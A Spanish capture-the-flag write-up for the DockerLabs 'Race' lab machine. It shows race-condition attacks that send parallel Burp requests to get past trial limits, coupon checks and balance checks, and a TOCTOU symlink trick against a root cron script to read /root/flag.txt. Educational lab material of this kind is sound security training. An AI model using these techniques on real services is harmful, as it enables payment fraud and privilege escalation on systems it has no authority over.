---
title: "Writeup Race — DockerLabs"
machine: "Race"
platform: "DockerLabs"
difficulty: "Medio"
operating_system: ["Linux"]
tags: ["web", "ssh"]
author: "juanluismm520"
author_url: "https://writeups.es/u/juanluismm520"
source: "https://writeups.es/writeups/dockerlabs/race/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-06-15T16:44:44.392355+00:00"
updated: "2026-08-14T18:15:44.659871+00:00"
words: 529
reading_minutes: 3
---# Race — DockerLabs

# Race

> Plataforma: **DockerLabs** | Dificultad: **Medio** | IP: `172.17.0.2`


## 📝 Resumen

Laboratorio para practicar la vulnerabilidad race condition en el contexto de webs donde haya limitaciones o free trial, donde podremos bypassear dichas restricciones. La máquina cuenta con 3 niveles.

## 🔍 Enumeración
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/ed0c20eb-545b-4402-9a89-07f3782c43e4.webp)


Investigando el javascript veo una función curiosa que si la modificaramos podríamos resolver el lab. Puesto que el laboratorio va acerca de un race condition, entendemos que modificar el javascript en el lado del cliente no tiene sentido. 


### Escaneo de Puertos (Nmap)

```bash
# Escaneo inicial
nmap -sC -sV -p- --min-rate 5000 -oN nmap_race 172.17.0.2
```

```bash
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-15 14:32 +0200
Nmap scan report for 172.17.0.2
Host is up (0.000060s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0p2 Debian 7 (protocol 2.0)
5000/tcp open  http    Werkzeug httpd 3.1.4 (Python 3.13.5)
|_http-title: SaaS Dashboard - Free Tier
|_http-server-header: Werkzeug/3.1.4 Python/3.13.5
MAC Address: 26:4E:AD:7B:57:A5 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```


Un linux con un servicio web y otro ssh

# Nivel 1

### Análisis con Burp Suite

Interceptamos la petición click

```http
HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.13.5
Date: Mon, 15 Jun 2026 16:26:42 GMT
Content-Type: application/json
Content-Length: 82
Connection: close

{
  "message": "\u2705 Acci\u00f3n completada con \u00e9xito",
  "status": "ok"
}

```

Probablemente la que haya que explotar. 

### 💥 Explotación

En la petición interceptada con Burp le damos a **_Send to the repeater_** varias veces, con darle más de 3 que es el límite del free trial es suficiente.

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/bf1ed882-6295-4e58-9cfe-83f21ec68c28.webp)


Nos vamos al repeater de Burp y en las pestañas que nos aparece (1, 2, 3, 4... dependiendo de cuantas veces hayamos mandado la petición al repeater) damos click derecho y create new group y elegimos todas (select all). 

Se nos debe quedar algo así:
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/546693f5-fc74-4894-a084-88c79f94df10.webp)

Pulsamos en **_Send group in parallel_** y enviamos


![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/dc54acb8-a2ce-4133-beba-6188139b9d7b.webp)


# Nivel 2

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/9ebb1d50-b0cc-45bc-96bb-36c0f0927a7f.webp)


### Análisis con Burp Suite

Interceptamos la petición buy. Si conseguimos bypassearla habremos pasado al nivel 3.

```http
HTTP/1.1 400 BAD REQUEST
Server: Werkzeug/3.1.4 Python/3.13.5
Date: Mon, 15 Jun 2026 16:35:46 GMT
Content-Type: application/json
Content-Length: 75
Connection: close

{
  "message": "Saldo insuficiente. Necesitas $50.",
  "status": "error"
}

```

Interceptamos la petición reedem, seguramente la que haya que explotar. 

```http
POST /level-2/redeem HTTP/1.1
Host: 172.17.0.2:5000
Content-Length: 19
Authorization: Basic Y29uZGl0aW9uMTpyYWNlMQ==
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://172.17.0.2:5000
Referer: http://172.17.0.2:5000/level-2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"code":"TRIAL-10"}

```

La petición nos devuelve `message": "Este cup\u00f3n ya ha sido usado"` si lo hacemos más de una vez, y nos añade 10$ de saldo a la cuenta. 

**Hacemos lo mismo que antes pero la petición reedem y con 5 pestañas o más si o si**. 

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/69876e8b-3fc8-4fe5-a14b-9dcc09f3a39b.webp)

Con 6 pestañas me han dado 60$.


![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/40aa552c-60d4-4656-a23d-df183e5eee21.webp)

# Nivel 3

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/cc65848f-39cb-4406-8f8a-b8f999bfc259.webp)

En este caso tenemos un panel de compra de criptomonedas. 

### Análisis con Burp Suite

Interceptamos la petición buy. Seguramente haya que bypassearla. 

```http
POST /level-3/buy HTTP/1.1
Host: 172.17.0.2:5000
Content-Length: 12
Authorization: Basic cmFjZTpjb25kaXRpb24=
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://172.17.0.2:5000
Referer: http://172.17.0.2:5000/level-3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"amount":1}

```

Nos da la siguiente response si compramos de más:


```http
HTTP/1.1 400 BAD REQUEST
Server: Werkzeug/3.1.4 Python/3.13.5
Date: Mon, 15 Jun 2026 16:46:54 GMT
Content-Type: application/json
Content-Length: 84
Connection: close

{
  "message": "Saldo insuficiente. Necesitas 1000.00 USDT.",
  "status": "error"
}

```


Básicamente haciendo lo mismo que en los otros niveles obtenemos:

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/37dc869a-4f38-4b4e-9aa2-f0516f3b573b.webp)

# Nivel SSH - Race Condition Windows
Entramos por ssh y haciendo un ls tenemos lo siguiente:

```bash
racebtc@27ed90d41a66:~$ ls
README.txt  backup_me  privesc_exploit.sh

racebtc@27ed90d41a66:~$ cat README.txt                                                                                                                                                                                          
╔════════════════════════════════════════════════════════╗
║          BIENVENIDO AL RETO FINAL                     ║
║          Escalada de Privilegios                      ║
╚════════════════════════════════════════════════════════╝

OBJETIVO: Obtener acceso a /root/flag.txt

PISTAS:
1. Hay un script ejecutándose automáticamente como root
2. El script procesa archivos en: ~/backup_me/
3. Los resultados se guardan en: /tmp/backup_output.txt
4. El script espera 3 segundos antes de leer cada archivo (¡ventana de ataque!)

COMANDOS ÚTILES:
- Ver el script:     cat /usr/local/bin/backup_script.sh
- Ver el log:        cat /tmp/backup_output.txt
- Ver procesos:      ps aux | grep backup

EXPLOIT INCLUIDO:
./privesc_exploit.sh    (¡Solo ejecútalo!)

¡Buena suerte! 🚀
```

El readme nos da una pista de que es una escalada de privilegios mediante un cron. 


## 💥 Explotación
Investigando por internet, obtengo que estamos ante una vulnerabilidad TOCTOU (o Time-of-Check to Time-of-Use, por sus siglas en inglés). 

Miramos el script `cat /usr/local/bin/backup_script.sh` y vemos que hay 3 segundos en los que hay una pausa. 

Si creamos un enlace simbólico podríamos obtener acceso a leer archivos privilegiados como `/etc/passwd` o en este caso nuestra flag `/root/flag.txt`

El script primero comprueba que sea un fichero y no es un enlace simbólico, luego hay una pausa de 3 segundos, y luego lee el archivo **SIN COMPROBAR SI ES UN ENLACE**. 

La sintaxis básica es:
```bash
ln -s /ruta/del/archivo_original /ruta/del/enlace_simbolico
```

Lo ajustamos a nuestro problema:
- Creamos un archivo flag.txt vacio

```bash
echo > flag.txt
```
  
- Antes de que pasen los 3 segundos ejecutamos lo siguiente:
```bash
ln -s /root/flag.txt /home/racebtc/backup_me/flag.txt
```

Obtenemos:

```bash
[17:15:38] Archivo encontrado: /home/racebtc/backup_me/flag.txt
[17:15:38] Esperando 3 segundos antes de procesar...
[17:15:41] Leyendo contenido del archivo...
FLAG{root_password:RaceCondition2024!}
```

# Conclusión
Ha sido una máquina bastante interesante, en el que explota varios escenarios reales tanto de web como en sistemas operativos. Pues en sistemas operativos es cierto que suele explotarse en cuestión de milisegundos y no hay tanto tiempo de margen como en este caso (que eran 3 segundos). Sin embargo creo que es una máquina muy útil e interesante para iniciarse en esta vulnerabilidad.


---

> Writeup de **juanluismm520** publicado en [writeups.es](https://writeups.es/writeups/dockerlabs/race/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
